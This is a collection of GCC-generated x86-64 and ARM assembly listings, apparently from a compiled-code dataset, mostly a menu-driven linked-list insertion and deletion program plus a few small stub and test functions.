ldm r2, {r0, r1}
str r0, [r3]
add r3, r3, #4
strb r1, [r3]
ldr r2, .L3+44
sub r3, fp, #24
ldr r2, [r2]
strh r2, [r3] @ movhi
add r3, r3, #2
lsr r2, r2, #16
strb r2, [r3]
sub r0, fp, #24
sub r2, fp, #28
sub r1, fp, #32
sub r3, fp, #16
str r3, [sp]
mov r3, r0
ldr r0, .L3+48
bl printf
ldr r2, .L3+52
sub r3, fp, #20
ldr r2, [r2]
strh r2, [r3] @ movhi
add r3, r3, #2
lsr r2, r2, #16
strb r2, [r3]
sub r2, fp, #20
ldr r3, .L3+56
str r3, [sp]
ldr r3, .L3+60
ldr r1, .L3+64
ldr r0, .L3+68
bl printf
sub r0, fp, #24
sub r2, fp, #28
sub r1, fp, #32
sub r3, fp, #16
str r3, [sp]
mov r3, r0
ldr r0, .L3+72
bl printf
sub r2, fp, #40
sub r1, fp, #36
ldr r3, [fp, #-48]
str r3, [sp]
mov r3, r2
ldr r2, .L3+24
ldr r0, .L3+76
bl printf
nop
ldr r3, .L3
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L2
bl __stack_chk_fail
.L2:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L4:
.align 2
.L3:
.word .LC13
.word .LC0
.word b
.word a
.word .LC1
.word .LC2
.word b.4605
.word .LC3
.word .LC4
.word .LC5
.word .LC6
.word .LC7
.word .LC8
.word .LC9
.word arg.4612
.word c.4613
.word a.4610
.word .LC10
.word .LC11
.word .LC12
.size test, .-test
.section .rodata
.align 2
.LC14:
.ascii "arg\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
ldr r0, .L7
bl test
mov r3, #0
mov r0, r3
pop {fp, pc}
.L8:
.align 2
.L7:
.word .LC14
.size main, .-main
.section .rodata
.align 2
.type b.4605, %object
.size b.4605, 3
b.4605:
.ascii "b1\000"
.align 2
.type a.4610, %object
.size a.4610, 3
a.4610:
.ascii "a3\000"
.align 2
.type c.4613, %object
.size c.4613, 3
c.4613:
.ascii "c3\000"
.data
.align 2
.type arg.4612, %object
.size arg.4612, 5
arg.4612:
.ascii "arg3\000"
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "775355.c"
.intel_syntax noprefix
.text
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "775355.c"
.text
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "812069.c"
.intel_syntax noprefix
.text
.globl begin_add
.type begin_add, @function
begin_add:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov edi, 24
call malloc@PLT
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR [rax], 0
mov rax, QWORD PTR -8[rbp]
mov edx, DWORD PTR -28[rbp]
mov DWORD PTR 8[rax], edx
mov rax, QWORD PTR -8[rbp]
mov rdx, QWORD PTR -24[rbp]
mov QWORD PTR 16[rax], rdx
mov rax, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size begin_add, .-begin_add
.globl middle_add
.type middle_add, @function
middle_add:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -40[rbp], rdi
mov DWORD PTR -44[rbp], esi
mov DWORD PTR -48[rbp], edx
mov edi, 24
call malloc@PLT
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR [rax], 0
mov rax, QWORD PTR -8[rbp]
mov edx, DWORD PTR -44[rbp]
mov DWORD PTR 8[rax], edx
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR 16[rax], 0
mov DWORD PTR -20[rbp], 1
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR -16[rbp], rax
jmp .L4
.L5:
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 16[rax]
mov QWORD PTR -16[rbp], rax
add DWORD PTR -20[rbp], 1
.L4:
mov eax, DWORD PTR -48[rbp]
sub eax, 1
cmp DWORD PTR -20[rbp], eax
jl .L5
mov rax, QWORD PTR -16[rbp]
mov rdx, QWORD PTR 16[rax]
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR 16[rax], rdx
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 16[rax]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR [rax], rdx
mov rax, QWORD PTR -16[rbp]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR 16[rax], rdx
mov rax, QWORD PTR -8[rbp]
mov rdx, QWORD PTR -16[rbp]
mov QWORD PTR [rax], rdx
mov rax, QWORD PTR -40[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size middle_add, .-middle_add
.globl end_add
.type end_add, @function
end_add:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov edi, 24
call malloc@PLT
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR [rax], 0
mov rax, QWORD PTR -8[rbp]
mov edx, DWORD PTR -28[rbp]
mov DWORD PTR 8[rax], edx
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR 16[rax], 0
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR -16[rbp], rax
jmp .L8
.L9:
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 16[rax]
mov QWORD PTR -16[rbp], rax
.L8:
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 16[rax]
test rax, rax
jne .L9
mov rax, QWORD PTR -16[rbp]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR 16[rax], rdx
mov rax, QWORD PTR -8[rbp]
mov rdx, QWORD PTR -16[rbp]
mov QWORD PTR [rax], rdx
mov rax, QWORD PTR -24[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size end_add, .-end_add
.section .rodata
.align 8
.LC0:
.string "\nData stored in the link list are"
.LC1:
.string "%d "
.LC2:
.string "\n"
.text
.globl print_link_list
.type print_link_list, @function
print_link_list:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR -8[rbp], rax
lea rdi, .LC0[rip]
call puts@PLT
jmp .L12
.L13:
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR 8[rax]
mov esi, eax
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 16[rax]
mov QWORD PTR -8[rbp], rax
.L12:
cmp QWORD PTR -8[rbp], 0
jne .L13
lea rdi, .LC2[rip]
call puts@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size print_link_list, .-print_link_list
.globl begin_del
.type begin_del, @function
begin_del:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 16[rax]
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR [rax], 0
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call free@PLT
mov rax, QWORD PTR -24[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size begin_del, .-begin_del
.globl middle_del
.type middle_del, @function
middle_del:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -40[rbp], rdi
mov DWORD PTR -44[rbp], esi
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR -16[rbp], rax
mov DWORD PTR -20[rbp], 1
jmp .L17
.L18:
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 16[rax]
mov QWORD PTR -16[rbp], rax
add DWORD PTR -20[rbp], 1
.L17:
mov eax, DWORD PTR -44[rbp]
sub eax, 1
cmp DWORD PTR -20[rbp], eax
jl .L18
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 16[rax]
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 16[rax]
mov rdx, QWORD PTR 16[rax]
mov rax, QWORD PTR -16[rbp]
mov QWORD PTR 16[rax], rdx
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 16[rax]
mov rdx, QWORD PTR -16[rbp]
mov QWORD PTR [rax], rdx
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call free@PLT
mov rax, QWORD PTR -40[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size middle_del, .-middle_del
.globl end_del
.type end_del, @function
end_del:
.LFB12:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR -16[rbp], rax
jmp .L21
.L22:
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 16[rax]
mov QWORD PTR -16[rbp], rax
.L21:
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 16[rax]
mov rax, QWORD PTR 16[rax]
test rax, rax
jne .L22
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 16[rax]
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call free@PLT
mov rax, QWORD PTR -16[rbp]
mov QWORD PTR 16[rax], 0
mov rax, QWORD PTR -24[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE12:
.size end_del, .-end_del
.section .rodata
.align 8
.LC3:
.string "\n********INSERTING MENU********"
.align 8
.LC4:
.string "Enter 1 for adding node in the begining"
.align 8
.LC5:
.string "Enter 2 for adding node in the middele at nth position"
.align 8
.LC6:
.string "Enter 3 for adding node in the end"
.LC7:
.string "Enter 4 for stop inserting"
.LC8:
.string "%d"
.LC9:
.string "Enter the new data : "
.align 8
.LC10:
.string "Enter the location at which you want to enter the data : "
.LC11:
.string "Exiting inserting process"
.LC12:
.string "Please enter a valid number"
.align 8
.LC13:
.string "\n********DELETION MENU********"
.align 8
.LC14:
.string "Enter 1 for deleting node in the begining"
.align 8
.LC15:
.string "Enter 2 for deleting node in the middele at nth position"
.align 8
.LC16:
.string "Enter 3 for deleting node in the end"
.align 8
.LC17:
.string "Enter 4 for stoping delection process"
.LC18:
.string "Exiting deletion process"
.text
.globl main
.type main, @function
main:
.LFB13:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov QWORD PTR -16[rbp], 0
.L33:
lea rdi, .LC3[rip]
call puts@PLT
lea rdi, .LC4[rip]
call puts@PLT
lea rdi, .LC5[rip]
call puts@PLT
lea rdi, .LC6[rip]
call puts@PLT
lea rdi, .LC7[rip]
call puts@PLT
lea rax, -28[rbp]
mov rsi, rax
lea rdi, .LC8[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov eax, DWORD PTR -28[rbp]
cmp eax, 1
je .L25
mov eax, DWORD PTR -28[rbp]
cmp eax, 2
je .L25
mov eax, DWORD PTR -28[rbp]
cmp eax, 3
jne .L26
.L25:
lea rdi, .LC9[rip]
mov eax, 0
call printf@PLT
lea rax, -24[rbp]
mov rsi, rax
lea rdi, .LC8[rip]
mov eax, 0
call __isoc99_scanf@PLT
.L26:
mov eax, DWORD PTR -28[rbp]
cmp eax, 4
je .L27
cmp eax, 4
jg .L28
cmp eax, 3
je .L29
cmp eax, 3
jg .L28
cmp eax, 1
je .L30
cmp eax, 2
je .L31
jmp .L28
.L30:
mov edx, DWORD PTR -24[rbp]
mov rax, QWORD PTR -16[rbp]
mov esi, edx
mov rdi, rax
call begin_add
mov QWORD PTR -16[rbp], rax
jmp .L32
.L31:
lea rdi, .LC10[rip]
mov eax, 0
call printf@PLT
lea rax, -20[rbp]
mov rsi, rax
lea rdi, .LC8[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov edx, DWORD PTR -20[rbp]
mov ecx, DWORD PTR -24[rbp]
mov rax, QWORD PTR -16[rbp]
mov esi, ecx
mov rdi, rax
call middle_add
mov QWORD PTR -16[rbp], rax
jmp .L32
.L29:
mov edx, DWORD PTR -24[rbp]
mov rax, QWORD PTR -16[rbp]
mov esi, edx
mov rdi, rax
call end_add
mov QWORD PTR -16[rbp], rax
jmp .L32
.L27:
lea rdi, .LC11[rip]
call puts@PLT
jmp .L32
.L28:
lea rdi, .LC12[rip]
call puts@PLT
.L32:
mov rax, QWORD PTR -16[rbp]
mov rdi, rax
call print_link_list
mov eax, DWORD PTR -28[rbp]
cmp eax, 4
jne .L33
.L40:
lea rdi, .LC13[rip]
call puts@PLT
lea rdi, .LC14[rip]
call puts@PLT
lea rdi, .LC15[rip]
call puts@PLT
lea rdi, .LC16[rip]
call puts@PLT
lea rdi, .LC17[rip]
call puts@PLT
lea rax, -28[rbp]
mov rsi, rax
lea rdi, .LC8[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov eax, DWORD PTR -28[rbp]
cmp eax, 4
je .L34
cmp eax, 4
jg .L35
cmp eax, 3
je .L36
cmp eax, 3
jg .L35
cmp eax, 1
je .L37
cmp eax, 2
je .L38
jmp .L35
.L37:
mov rax, QWORD PTR -16[rbp]
mov rdi, rax
call begin_del
mov QWORD PTR -16[rbp], rax
jmp .L39
.L38:
lea rdi, .LC10[rip]
mov eax, 0
call printf@PLT
lea rax, -20[rbp]
mov rsi, rax
lea rdi, .LC8[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov edx, DWORD PTR -20[rbp]
mov rax, QWORD PTR -16[rbp]
mov esi, edx
mov rdi, rax
call middle_del
mov QWORD PTR -16[rbp], rax
jmp .L39
.L36:
mov rax, QWORD PTR -16[rbp]
mov rdi, rax
call end_del
mov QWORD PTR -16[rbp], rax
jmp .L39
.L34:
lea rdi, .LC18[rip]
call puts@PLT
jmp .L39
.L35:
lea rdi, .LC12[rip]
call puts@PLT
.L39:
mov rax, QWORD PTR -16[rbp]
mov rdi, rax
call print_link_list
mov eax, DWORD PTR -28[rbp]
cmp eax, 4
jne .L40
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L42
call __stack_chk_fail@PLT
.L42:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE13:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "812069.c"
.text
.align 2
.global begin_add
.syntax unified
.arm
.fpu softvfp
.type begin_add, %function
begin_add:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
mov r0, #12
bl malloc
mov r3, r0
str r3, [fp, #-8]
ldr r3, [fp, #-8]
mov r2, #0
str r2, [r3]
ldr r3, [fp, #-8]
ldr r2, [fp, #-20]
str r2, [r3, #4]
ldr r3, [fp, #-8]
ldr r2, [fp, #-16]
str r2, [r3, #8]
ldr r3, [fp, #-8]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size begin_add, .-begin_add
.align 2
.global middle_add
.syntax unified
.arm
.fpu softvfp
.type middle_add, %function
middle_add:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
mov r0, #12
bl malloc
mov r3, r0
str r3, [fp, #-8]
ldr r3, [fp, #-8]
mov r2, #0
str r2, [r3]
ldr r3, [fp, #-8]
ldr r2, [fp, #-28]
str r2, [r3, #4]
ldr r3, [fp, #-8]
mov r2, #0
str r2, [r3, #8]
mov r3, #1
str r3, [fp, #-16]
ldr r3, [fp, #-24]
str r3, [fp, #-12]
b .L4
.L5:
ldr r3, [fp, #-12]
ldr r3, [r3, #8]
str r3, [fp, #-12]
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L4:
ldr r3, [fp, #-32]
sub r3, r3, #1
ldr r2, [fp, #-16]
cmp r2, r3
blt .L5
ldr r3, [fp, #-12]
ldr r2, [r3, #8]
ldr r3, [fp, #-8]
str r2, [r3, #8]
ldr r3, [fp, #-12]
ldr r3, [r3, #8]
ldr r2, [fp, #-8]
str r2, [r3]
ldr r3, [fp, #-12]
ldr r2, [fp, #-8]
str r2, [r3, #8]
ldr r3, [fp, #-8]
ldr r2, [fp, #-12]
str r2, [r3]
ldr r3, [fp, #-24]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size middle_add, .-middle_add
.align 2
.global end_add
.syntax unified
.arm
.fpu softvfp
.type end_add, %function
end_add:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
mov r0, #12
bl malloc
mov r3, r0
str r3, [fp, #-8]
ldr r3, [fp, #-8]
mov r2, #0
str r2, [r3]
ldr r3, [fp, #-8]
ldr r2, [fp, #-20]
str r2, [r3, #4]
ldr r3, [fp, #-8]
mov r2, #0
str r2, [r3, #8]
ldr r3, [fp, #-16]
str r3, [fp, #-12]
b .L8
.L9:
ldr r3, [fp, #-12]
ldr r3, [r3, #8]
str r3, [fp, #-12]
.L8:
ldr r3, [fp, #-12]
ldr r3, [r3, #8]
cmp r3, #0
bne .L9
ldr r3, [fp, #-12]
ldr r2, [fp, #-8]
str r2, [r3, #8]
ldr r3, [fp, #-8]
ldr r2, [fp, #-12]
str r2, [r3]
ldr r3, [fp, #-16]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size end_add, .-end_add
.section .rodata
.align 2
.LC0:
.ascii "\012Data stored in the link list are\000"
.align 2
.LC1:
.ascii "%d \000"
.align 2
.LC2:
.ascii "\012\000"
.text
.align 2
.global print_link_list
.syntax unified
.arm
.fpu softvfp
.type print_link_list, %function
print_link_list:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
ldr r3, [fp, #-16]
str r3, [fp, #-8]
ldr r0, .L14
bl puts
b .L12
.L13:
ldr r3, [fp, #-8]
ldr r3, [r3, #4]
mov r1, r3
ldr r0, .L14+4
bl printf
ldr r3, [fp, #-8]
ldr r3, [r3, #8]
str r3, [fp, #-8]
.L12:
ldr r3, [fp, #-8]
cmp r3, #0
bne .L13
ldr r0, .L14+8
bl puts
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L15:
.align 2
.L14:
.word .LC0
.word .LC1
.word .LC2
.size print_link_list, .-print_link_list
.align 2
.global begin_del
.syntax unified
.arm
.fpu softvfp
.type begin_del, %function
begin_del:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
ldr r3, [fp, #-16]
str r3, [fp, #-8]
ldr r3, [fp, #-16]
ldr r3, [r3, #8]
str r3, [fp, #-16]
ldr r3, [fp, #-16]
mov r2, #0
str r2, [r3]
ldr r0, [fp, #-8]
bl free
ldr r3, [fp, #-16]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size begin_del, .-begin_del
.align 2
.global middle_del
.syntax unified
.arm
.fpu softvfp
.type middle_del, %function
middle_del:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-24]
str r1, [fp, #-28]
ldr r3, [fp, #-24]
str r3, [fp, #-16]
mov r3, #1
str r3, [fp, #-12]
b .L19
.L20:
ldr r3, [fp, #-16]
ldr r3, [r3, #8]
str r3, [fp, #-16]
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L19:
ldr r3, [fp, #-28]
sub r3, r3, #1
ldr r2, [fp, #-12]
cmp r2, r3
blt .L20
ldr r3, [fp, #-16]
ldr r3, [r3, #8]
str r3, [fp, #-8]
ldr r3, [fp, #-16]
ldr r3, [r3, #8]
ldr r2, [r3, #8]
ldr r3, [fp, #-16]
str r2, [r3, #8]
ldr r3, [fp, #-8]
ldr r3, [r3, #8]
ldr r2, [fp, #-16]
str r2, [r3]
ldr r0, [fp, #-8]
bl free
ldr r3, [fp, #-24]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size middle_del, .-middle_del
.align 2
.global end_del
.syntax unified
.arm
.fpu softvfp
.type end_del, %function
end_del:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
ldr r3, [fp, #-16]
str r3, [fp, #-12]
b .L23
.L24:
ldr r3, [fp, #-12]
ldr r3, [r3, #8]
str r3, [fp, #-12]
.L23:
ldr r3, [fp, #-12]
ldr r3, [r3, #8]
ldr r3, [r3, #8]
cmp r3, #0
bne .L24
ldr r3, [fp, #-12]
ldr r3, [r3, #8]
str r3, [fp, #-8]
ldr r0, [fp, #-8]
bl free
ldr r3, [fp, #-12]
mov r2, #0
str r2, [r3, #8]
ldr r3, [fp, #-16]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size end_del, .-end_del
.section .rodata
.align 2
.LC3:
.ascii "\012********INSERTING MENU********\000"
.align 2
.LC4:
.ascii "Enter 1 for adding node in the begining\000"
.align 2
.LC5:
.ascii "Enter 2 for adding node in the middele at nth posit"
.ascii "ion\000"
.align 2
.LC6:
.ascii "Enter 3 for adding node in the end\000"
.align 2
.LC7:
.ascii "Enter 4 for stop inserting\000"
.align 2
.LC8:
.ascii "%d\000"
.align 2
.LC9:
.ascii "Enter the new data : \000"
.align 2
.LC10:
.ascii "Enter the location at which you want to enter the d"
.ascii "ata : \000"
.align 2
.LC11:
.ascii "Exiting inserting process\000"
.align 2
.LC12:
.ascii "Please enter a valid number\000"
.align 2
.LC13:
.ascii "\012********DELETION MENU********\000"
.align 2
.LC14:
.ascii "Enter 1 for deleting node in the begining\000"
.align 2
.LC15:
.ascii "Enter 2 for deleting node in the middele at nth pos"
.ascii "ition\000"
.align 2
.LC16:
.ascii "Enter 3 for deleting node in the end\000"
.align 2
.LC17:
.ascii "Enter 4 for stoping delection process\000"
.align 2
.LC18:
.ascii "Exiting deletion process\000"
.align 2
.LC19:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
ldr r3, .L47
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #0
str r3, [fp, #-12]
.L36:
ldr r0, .L47+4
bl puts
ldr r0, .L47+8
bl puts
ldr r0, .L47+12
bl puts
ldr r0, .L47+16
bl puts
ldr r0, .L47+20
bl puts
sub r3, fp, #24
mov r1, r3
ldr r0, .L47+24
bl __isoc99_scanf
ldr r3, [fp, #-24]
cmp r3, #1
beq .L27
ldr r3, [fp, #-24]
cmp r3, #2
beq .L27
ldr r3, [fp, #-24]
cmp r3, #3
bne .L28
.L27:
ldr r0, .L47+28
bl printf
sub r3, fp, #20
mov r1, r3
ldr r0, .L47+24
bl __isoc99_scanf
.L28:
ldr r3, [fp, #-24]
sub r3, r3, #1
cmp r3, #3
ldrls pc, [pc, r3, asl #2]
b .L29
.L31:
.word .L34
.word .L33
.word .L32
.word .L30
.L34:
ldr r3, [fp, #-20]
mov r1, r3
ldr r0, [fp, #-12]
bl begin_add
str r0, [fp, #-12]
b .L35
.L33:
ldr r0, .L47+32
bl printf
sub r3, fp, #16
mov r1, r3
ldr r0, .L47+24
bl __isoc99_scanf
ldr r3, [fp, #-20]
ldr r2, [fp, #-16]
mov r1, r3
ldr r0, [fp, #-12]
bl middle_add
str r0, [fp, #-12]
b .L35
.L32:
ldr r3, [fp, #-20]
mov r1, r3
ldr r0, [fp, #-12]
bl end_add
str r0, [fp, #-12]
b .L35
.L30:
ldr r0, .L47+36
bl puts
b .L35
.L29:
ldr r0, .L47+40
bl puts
.L35:
ldr r0, [fp, #-12]
bl print_link_list
ldr r3, [fp, #-24]
cmp r3, #4
bne .L36
.L44:
ldr r0, .L47+44
bl puts
ldr r0, .L47+48
bl puts
ldr r0, .L47+52
bl puts
ldr r0, .L47+56
bl puts
ldr r0, .L47+60
bl puts
sub r3, fp, #24
mov r1, r3
ldr r0, .L47+24
bl __isoc99_scanf
ldr r3, [fp, #-24]
sub r3, r3, #1
cmp r3, #3
ldrls pc, [pc, r3, asl #2]
b .L37
.L39:
.word .L42
.word .L41
.word .L40
.word .L38
.L42:
ldr r0, [fp, #-12]
bl begin_del
str r0, [fp, #-12]
b .L43
.L41:
ldr r0, .L47+32
bl printf
sub r3, fp, #16
mov r1, r3
ldr r0, .L47+24
bl __isoc99_scanf
ldr r3, [fp, #-16]
mov r1, r3
ldr r0, [fp, #-12]
bl middle_del
str r0, [fp, #-12]
b .L43
.L40:
ldr r0, [fp, #-12]
bl end_del
str r0, [fp, #-12]
b .L43
.L38:
ldr r0, .L47+64
bl puts
b .L43
.L37:
ldr r0, .L47+40
bl puts
.L43:
ldr r0, [fp, #-12]
bl print_link_list
ldr r3, [fp, #-24]
cmp r3, #4
bne .L44
mov r3, #0
ldr r2, .L47
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L46
bl __stack_chk_fail
.L46:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L48:
.align 2
.L47:
.word .LC19
.word .LC3
.word .LC4
.word .LC5
.word .LC6
.word .LC7
.word .LC8
.word .LC9
.word .LC10
.word .LC11
.word .LC12
.word .LC13
.word .LC14
.word .LC15
.word .LC16
.word .LC17
.word .LC18
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "297256.c"
.intel_syntax noprefix
.text
.globl test0
.type test0, @function
test0:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, 0
call opaque@PLT
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size test0, .-test0
.globl test1
.type test1, @function
test1:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size test1, .-test1
.weak test2
.type test2, @function
test2:
.LFB2:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE2:
.size test2, .-test2
